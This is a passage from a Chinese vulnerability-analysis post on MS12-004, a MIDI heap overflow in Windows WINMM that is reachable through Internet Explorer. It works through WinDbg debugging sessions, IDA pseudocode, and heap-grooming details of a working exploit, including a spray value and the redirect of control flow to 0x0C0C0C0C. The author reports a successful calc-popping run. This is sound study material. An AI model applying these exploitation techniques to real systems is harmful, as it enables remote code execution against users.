在3.3小节的最后,我们已经确定了发生异常的0x400空间的分配位置是位于76B5CDE9_winmmAlloc函数调用。而在本小节,也确定了漏洞利用时的分配空间操作是在EnsureSize函数中完成的,可以根据函数调用之后ecx的值确认分配的空间位置,这里选择位于.text:7DDAE80D 8B 48 04 mov ecx, [eax+4]之后的操作。

 

在这两个位置下断点,我们可以确定发生异常时的空间分配是否真的占用了漏洞利用代码中释放的空间:

1
2
bu 7DDAE810 ".echo 'Clone Alloc ';r ecx;g"
bu 76B5CDEE ".echo 'winmmAlloc ';r eax;g"

如果这时候直接执行查看输出结果,会发现winmmAlloc得到的空间地址和Clone函数中得到的空间地址没有相同的,这是因为开启了页表,需要关闭页表,然后在原本发生异常的位置76b5d224设置一个断点,然后重新调试。

 

截取部分输出内容:

1
2
3
4
5
6
7
8
9
10
...
'Clone Alloc '
ecx=0020c3b8
'Clone Alloc '
ecx=0020c840
'Clone Alloc '
ecx=0020ccc8
...
'winmmAlloc '
eax=0020c840

最后中断在原本异常发生位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
Breakpoint 2 hit
eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=0020ca91 edi=001ad6c0
eip=76b5d224 esp=22effe80 ebp=22effea0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06            mov     al,byte ptr [esi]          ds:0023:0020ca91=00
0:010> g
Breakpoint 2 hit
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=0020cc59 edi=001ad6c0
eip=76b5d224 esp=22effe80 ebp=22effea0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06            mov     al,byte ptr [esi]          ds:0023:0020cc59=00

第一次中断位置在0020ca91,这个值距离分配的空间起点为0x251,和3.2小节中得到的v19的第一次偏移量相同;第二次中断在0020cc59,距离分配的空间起点为419,确实比空间大小0x400多了0x19个字节。

 

唯一的问题就在于,不知道是什么原因,EnsureSize函数分配的空间大小不是0x400,而是0x480

 

现在先不去管为什么分配的空间多了,我直接修改了测试文件,删除了最后的两个属性w62w63,重新调试,断点不变,得到的输出结果截取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
'Clone Alloc '
ecx=001e7e88
'Clone Alloc '
ecx=001e8290
'Clone Alloc '
ecx=001e8698
...
'winmmAlloc '
eax=001e8290
Breakpoint 2 hit
eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=001e84e1 edi=001ad4c8
eip=76b5d224 esp=22e7fe80 ebp=22e7fea0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06            mov     al,byte ptr [esi]          ds:0023:001e84e1=00
0:010> g
Breakpoint 2 hit
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=001e86a9 edi=001ad4c8
eip=76b5d224 esp=22e7fe80 ebp=22e7fea0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06            mov     al,byte ptr [esi]          ds:0023:001e86a9=09

可以看到这次中断在了001e86a9位置,距离winmmAlloc分配的空间0x419,而且也和Clone分配的空间001e8698距离为0x11(因为每个堆块还是8字节的头部),但是读取的字节是0x09,而不是我们预期的0x08。观察一下001e8698空间:

1
2
3
4
5
6
7
8
9
0:010> db 001e8698
001e8698  03 81 00 00 00 00 00 80-00 00 00 00 10 31 32 01  .............12.
001e86a8  02 09 00 00 c1 c6 2d 00-00 00 00 00 20 bb 32 01  ......-..... .2.
001e86b8  02 08 00 00 c2 c6 2d 00-00 00 00 00 dc 64 1d 00  ......-......d..
001e86c8  02 09 00 00 c3 c6 2d 00-00 00 00 00 60 bc 32 01  ......-.....`.2.
001e86d8  02 09 00 00 c4 c6 2d 00-00 00 00 00 d0 bc 32 01  ......-.......2.
001e86e8  02 09 00 00 c5 c6 2d 00-00 00 00 00 50 bd 32 01  ......-.....P.2.
001e86f8  02 09 00 00 c6 c6 2d 00-00 00 00 00 e0 bd 32 01  ......-.......2.
001e8708  02 09 00 00 c7 c6 2d 00-00 00 00 00 80 be 32 01  ......-.......2.

第一行的内容貌似并不是w0 object属性,还是绕过原因不谈,再次删掉w0属性,同时恢复一个之前删除的属性w62,再次调试,保持断点不变:

1
2
3
4
5
6
7
0:010> g
Breakpoint 2 hit
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=001ef6c9 edi=001ad4a0
eip=76b5d224 esp=22effe80 ebp=22effea0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06            mov     al,byte ptr [esi]          ds:0023:001ef6c9=08

这次读取到的字节是0x08,如果继续往下单步调试,会发现这里的数值确实修改成了0x09

 

根据参考资料2,被修改成objectstring元素之后会用来触发CAttrValue::GetIntoVariant()函数的调用,也就是漏洞利用代码中的clones[k].w1('come on!');语句,注意这是一个函数调用。直接在IDA中查看一下这个函数的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HRESULT __thiscall CAttrValue::GetIntoVariant(CAttrValue *this, struct tagVARIANT *pvargDest) {
  v2 = 0;
  pvargDest->vt = 0;
  if ( *((_BYTE *)this + 1) == 8 ) {   // 这里应该就是在判断类型,是string
        ...
  }
  if ( *((_BYTE *)this + 1) != 9 ) {   // 如果类型不是object
    ...
  }
  v4 = *((_DWORD *)this + 3);
  if ( v4 )
    (*(void (__stdcall **)(_DWORD))(*(_DWORD *)v4 + 4))(*((_DWORD *)this + 3));
  pvargDest->lVal = *((_DWORD *)this + 3);
  pvargDest->vt = *((unsigned __int8 *)this + 1);
  return v2;
}

可以看到,如果类型是object的话,最后会有一个函数调用:(*(void (__stdcall **)(_DWORD))(*(_DWORD *)v4 + 4))(*((_DWORD *)this + 3));

 

我们直接在这个函数调用之前设置一个断点,然后继续执行,中断在这个位置:

1
2
3
4
5
6
7
8
0:000> bp 7DDADFE5
0:000> g
Breakpoint 3 hit
eax=001c16b4 ebx=00000000 ecx=001ef6c8 edx=0000003f esi=001ef6c8 edi=0013bbe4
eip=7ddadfe5 esp=0013b91c ebp=0013b928 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CAttrValue::GetIntoVariant+0x4a:
7ddadfe5 8b08            mov     ecx,dword ptr [eax]  ds:0023:001c16b4=0c0c1be4

注意这里从eax指向的位置取出的值,就是漏洞利用代码中selob.w1 = unescape("%u1be4%u0c0c")中的值,继续单步到达函数调用处:

1
2
3
4
5
6
0:000> p
eax=001c16b4 ebx=00000000 ecx=0c0c1be4 edx=0000003f esi=001ef6c8 edi=0013bbe4
eip=7ddadfe8 esp=0013b918 ebp=0013b928 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CAttrValue::GetIntoVariant+0x4d:
7ddadfe8 ff5104          call    dword ptr [ecx+4]    ds:0023:0c0c1be8=0c0c0c0c

跳转的地址正是0x0C0C0C0C

 

因为我不确定原本的漏洞利用代码中shellcode的作用,执行之后也没看到效果,所以我把原本的shellcode换成了弹计算器的代码,最后成功弹出了计算器:

 

图片描述

 

通过对原始漏洞利用代码的调试,以及参考资料2中的内容,确定了漏洞利用的原理,并且对原始代码进行修改,成功进行了漏洞利用。现在唯一的问题就在于,为什么要进行这样的修改。

4.4 进一步分析

对于漏洞利用代码的修改主要集中在select元素selob的属性个数以及string属性的位置上。按照参考资料2的说法,EnsureSize函数分配的空间大小应该是0x10*属性个数,但是在我实验的过程中,发现设置64个属性后分配的空间大小为0x480。我们来详细看一下EnsureSize函数,最后分配空间的代码是v13 = _MemAlloc(dwBytes);,追踪一下dwBytes这个变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 这里是函数一开始,此时dwBytes指的是第二个参数,每个属性占用的空间大小0x10
v5 = dwBytes;
...
// 这里做了一个加法 nAttrib+7,结果保存在dwBytes中
arg_4 = UIntAdd(nAttrib, 7u, &dwBytes);  
...
// 这里其实在做一个对齐,如果属性个数超过7,就会和8对齐
// 也就是说如果有9个属性,v6就等于16
v6 = nAttrib >= 8 ? dwBytes & 0xFFFFFFF8 : nAttrib; 
...
// 对齐之后的属性个数 * 0x10
arg_4 = UIntMult(v6, v5, &dwBytes);
...
v13 = _MemAlloc(dwBytes);

不知道出于什么原因,64个属性值最后传入EnsureSize函数的数值是0x42,再加上对齐操作,导致0x42变成了0x48,结果分配了0x480空间。同样,由于有这个对齐操作,即使设置的不是64个属性,最终也能分配到0x400的空间。

 

还有一个问题就是在查看clones数组中每一个复制之后得到的数据时,发现第一行数据并不是selob的第一个属性内容,因此我在修改漏洞利用代码时,删除了属性w0,让string属性w1成为第一个属性(或者也可以修改MIDI文件)。

 

回到程序刚刚调用CAttrArray::Clone函数的快照,取消页表,并删除w62w63属性,如果在该函数中的EnsureSize调用之后以及Copy调用之后设置断点,在第一次中断之后可以确定程序分配的空间起始地址:

1
2
3
4
5
6
7
8
9
0:000> bp 7ddae810
0:000> bp 7DDAE851
0:000> g
Breakpoint 1 hit
eax=01328fc0 ebx=01328edc ecx=020c0450 edx=00150608 esi=01327a30 edi=00000000
eip=7ddae810 esp=0013de70 ebp=0013de90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CAttrArray::Clone+0x6b:
7ddae810 8b06            mov     eax,dword ptr [esi]  ds:0023:01327a30=00000100

起始地址为ecx寄存器的内容020c0450,之后继续执行,断在第二个断点,此时应该完成了第一个属性的复制,查看一下之前分配的空间内容:

1
2
3
4
5
6
7
8
9
0:000> db 020c0450
020c0450  02 09 00 00 c1 c6 2d 00-00 00 00 00 40 79 32 01  ......-.....@y2.
020c0460  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020c0470  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020c0480  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020c0490  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020c04a0  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020c04b0  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020c04c0  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................

发现第一行内容就是第一个属性的内容,那么为什么在之前调试时会出现问题呢?在020c0450这里设置一个写断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:000> ba w4 020c0450
0:000> bl
 0 e 7ddae7a5     0001 (00010:**** mshtml!CAttrArray::Clone
 1 e 7ddae810     0001 (00010:**** mshtml!CAttrArray::Clone+0x6b
 2 e 7ddae851     0001 (00010:**** mshtml!CAttrArray::Clone+0xad
 3 e 020c0450 w 4 0001 (00010:****
0:000> bd 2
0:000> g
Breakpoint 3 hit
eax=00000010 ebx=01328fc0 ecx=00000003 edx=00000000 esi=0013de4c edi=020c0454
eip=7dc9ca22 esp=0013de20 ebp=0013de2c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CImplAry::InsertIndirect+0x75:
7dc9ca22 f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:020c0454=002dc6c1 ds:0023:0013de4c=80000000

程序断在了CImplAry::InsertIndirect函数内,看一下函数调用流程:

1
2
3
4
5
6
7
8
9
0:000> kb
ChildEBP RetAddr  Args to Child             
0013de2c 7dcf6242 00000000 00000000 0013de48 mshtml!CImplAry::InsertIndirect+0x75
0013de58 7dcf61d4 00000000 0013de90 7ddae8f5 mshtml!CAttrArray::SetHeader+0x5c
0013de64 7ddae8f5 00000001 00000000 01327850 mshtml!CAttrArray::EnsureHeader+0x26
0013de90 7dd89b16 020c0830 01327850 0019c0c8 mshtml!CAttrArray::Clone+0x151
0013df28 7ddc33ef 0013e000 0019c0c8 00000000 mshtml!CElement::Clone+0x140
0013dff8 7ddceb08 00000000 0132ffff 0013e2d8 mshtml!CElement::cloneNode+0x158
...

也就是说,在Clone函数中,复制完属性信息之后,程序又调用了EnsureHeader函数,并在所有属性信息之前,直接插入了10字节的头部信息,所有属性信息后移一位(10个字节)。

 

至少现在我知道传入EnsureSize函数中的数值大于0x40的原因了,因为它还要为头部预留空间,可能还有一些其他信息也要预留空间,因此最终预留了0x20的空间。

5. 减1操作漏洞

在参考资料2中也提到了,这个漏洞除了可以实现增1的操作外,也可以实现减1的操作。在发生异常的midiOutPlayNextPolyEvent函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 ) {
   v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;
   if ( v33 == (char)0x80 || !(_BYTE)v18 ) {  // 如果状态码是8x
     v24 = (_BYTE *)(v19 + v16);
     v25 = *(_BYTE *)(v19 + v16);
     if ( (wParam_3a & 1) != 0 ) {
       ...
     } else {
       ...
       v26 = v25 - 1;
     }
     *v24 = v26;
     goto LABEL_46;
   }
   v20 = (char *)(v19 + v16);       // 下面是状态码为9x时执行的操作
   v21 = *v20;                      // 异常发生位置
   v22 = *v20;
   ...
 }

可以看到如果状态码是8x的形式,程序流程就会进入到上面的判断语句,然后执行到减1的操作。

6. 总结

这次漏洞分析中,只要了解了MIDI文件格式,那么一旦确定异常发生位置,在IDA中找到对应函数及其伪代码,通过对伪代码的分析,很容易确定漏洞产生的原理,其中书中介绍的导图推算的方法,画出变量的数值传递流程图,会让整个过程更加清晰。

 

VUPEN采用的漏洞利用方法十分新颖,具有借鉴意义。利用CImplAry中每个属性占据0x10空间的原理,不断分配和释放同样大小的堆空间,从而控制漏洞函数所分配空间周围的空间数据;利用string属性和object属性之间差值为1的特性,使用该漏洞将string属性变成了object属性,从而暴露出虚函数地址,让程序流程跳转到攻击者控制的数据中。

 

由于漏洞利用代码本身存在错误(和msf生成的不同),在修正问题的过程中,虽然花费了更多的时间,但是对漏洞利用的手法也了解的更为深刻。

7. 参考资料

  1. Standard MIDI-File Format Spec. 1.1, updated
  2. Advanced Exploitation of Internet Explorer Heap Overflow Vulnerabilities (MS12-004)

    注:该网址已失效,可以在archive.org中搜索

  3. 《漏洞战争》

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2021-9-13 18:31 被LarryS编辑 ,原因: 添加参考资料
收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回